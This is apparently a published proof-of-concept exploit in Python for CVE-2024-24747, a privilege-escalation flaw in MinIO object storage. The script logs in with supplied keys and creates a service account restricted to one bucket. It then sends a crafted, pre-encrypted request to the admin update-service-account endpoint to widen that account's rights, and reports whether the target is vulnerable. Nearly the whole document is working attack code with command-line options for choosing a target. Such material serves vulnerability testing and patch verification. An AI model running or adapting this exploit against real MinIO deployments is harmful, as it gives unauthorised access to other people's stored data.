MinIO Privilege Escalation

`# Exploit Title: MinIO < 2024-01-31T20-20-33Z - Privilege Escalation  
# Date: 2024-04-11  
# Exploit Author: Jenson Zhao  
# Vendor Homepage: https://min.io/  
# Software Link: https://github.com/minio/minio/  
# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z  
# Tested on: Windows 10  
# CVE : CVE-2024-24747  
# Required before execution: pip install minio,requests  
  
import argparse  
import datetime  
import traceback  
import urllib  
from xml.dom.minidom import parseString  
import requests  
import json  
import base64  
from minio.credentials import Credentials  
from minio.signer import sign_v4_s3  
  
class CVE_2024_24747:  
new_buckets = []  
old_buckets = []  
def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):  
self.bucket_names = ['pocpublic', 'pocprivate']  
self.new_accesskey = 'miniocvepoc'  
self.new_secretkey = 'MINIOcvePOC'  
self.headers = {  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',  
'Content-Type': 'application/json',  
'Accept': '*/*'  
}  
self.accesskey = accesskey  
self.secretkey = secretkey  
self.verify = verify  
if verify:  
self.url = "https://" + host + ":" + port  
self.console_url = "https://" + host + ":" + console_port  
else:  
self.url = "http://" + host + ":" + port  
self.console_url = "http://" + host + ":" + console_port  
self.credits = Credentials(  
access_key=self.new_accesskey,  
secret_key=self.new_secretkey  
)  
self.login()  
try:  
self.create_buckets()  
self.create_accesskey()  
self.old_buckets = self.console_ls()  
self.console_exp()  
self.new_buckets = self.console_ls()  
  
except:  
traceback.print_stack()  
finally:  
self.delete_accesskey()  
self.delete_buckets()  
if len(self.new_buckets) > len(self.old_buckets):  
print("There is CVE-2024-24747 problem with the minio!")  
print("Before the exploit, the buckets are : " + str(self.old_buckets))  
print("After the exploit, the buckets are : " + str(self.new_buckets))  
else:  
print("There is no CVE-2024-24747 problem with the minio!")  
  
def login(self):  
url = self.url + "/api/v1/login"  
payload = json.dumps({  
"accessKey": self.accesskey,  
"secretKey": self.secretkey  
})  
self.session = requests.session()  
if self.verify:  
self.session.verify = False  
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code  
# print(status_code)  
if status_code == 204:  
status_code = 0  
else:  
print('Login failed! Please check if the input accesskey and secretkey are correct!')  
exit(1)  
def create_buckets(self):  
url = self.url + "/api/v1/buckets"  
for name in self.bucket_names:  
payload = json.dumps({  
"name": name,  
"versioning": False,  
"locking": False  
})  
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code  
# print(status_code)  
if status_code == 200:  
status_code = 0  
else:  
print("新建 (New)"+name+" bucket 失败 (fail)！")  
def delete_buckets(self):  
for name in self.bucket_names:  
url = self.url + "/api/v1/buckets/" + name  
status_code = self.session.request("DELETE", url, headers=self.headers).status_code  
# print(status_code)  
if status_code == 204:  
status_code = 0  
else:  
print("删除 (delete)"+name+" bucket 失败 (fail)！")  
def create_accesskey(self):  
url = self.url + "/api/v1/service-account-credentials"  
payload = json.dumps({  
"policy": "{ \n \"Version\":\"2012-10-17\", \n \"Statement\":[ \n { \n \"Effect\":\"Allow\", \n \"Action\":[ \n \"s3:*\" \n ], \n \"Resource\":[ \n \"arn:aws:s3:::pocpublic\", \n \"arn:aws:s3:::pocpublic/*\" \n ] \n } \n ] \n}",  
"accessKey": self.new_accesskey,  
"secretKey": self.new_secretkey  
})  
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code  
# print(status_code)  
if status_code == 201:  
# print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)！")  
# print(self.new_secretkey)  
status_code = 0  
else:  
print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)！")  
def delete_accesskey(self):  
url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')  
status_code = self.session.request("DELETE", url, headers=self.headers).status_code  
# print(status_code)  
if status_code == 204:  
# print("删除" + self.new_accesskey + " accessKey成功！")  
status_code = 0  
else:  
print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)！")  
def headers_gen(self,url,sha256,method):  
datetimes = datetime.datetime.utcnow()  
datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')  
urls = urllib.parse.urlparse(url)  
headers = {  
'X-Amz-Content-Sha256': sha256,  
'X-Amz-Date': datetime_str,  
'Host': urls.netloc,  
}  
headers = sign_v4_s3(  
method=method,  
url=urls,  
region='us-east-1',  
headers=headers,  
credentials=self.credits,  
content_sha256=sha256,  
date=datetimes,  
)  
return headers  
def console_ls(self):  
url = self.console_url + "/"  
sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"  
headers = self.headers_gen(url,sha256,'GET')  
if self.verify:  
response = requests.get(url,headers=headers,verify=False)  
else:  
response = requests.get(url, headers=headers)  
DOMTree = parseString(response.text)  
collection = DOMTree.documentElement  
buckets = collection.getElementsByTagName("Bucket")  
bucket_names = []  
for bucket in buckets:  
bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)  
# print('当前可查看的bucket有:\n' + str(bucket_names))  
return bucket_names  
  
def console_exp(self):  
url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey  
sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"  
headers = self.headers_gen(url, sha256, 'POST')  
hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"  
content = bytes.fromhex(hex_string)  
if self.verify:  
response = requests.post(url,headers=headers,data=content,verify=False)  
else:  
response = requests.post(url,headers=headers,data=content)  
status_code = response.status_code  
if status_code == 204:  
# print("提升" + self.new_accesskey + " 权限成功！")  
status_code = 0  
else:  
print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)！")  
  
if __name__ == '__main__':  
logo = """   
____ ___ ____ _ _ ____ _ _ _____ _ _ _____   
___ __ __ ___ |___ \ / _ \ |___ \ | || | |___ \ | || | |___ || || | |___ |  
/ __|\ \ / / / _ \ _____ __) || | | | __) || || |_ _____ __) || || |_ / / | || |_ / /   
| (__ \ V / | __/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _| / / |__ _| / /   
\___| \_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/ |_| /_/   
"""  
print(logo)  
parser = argparse.ArgumentParser()  
parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")  
parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")  
parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")  
parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")  
parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")  
parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")  
args = parser.parse_args()  
CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)  
  
  
`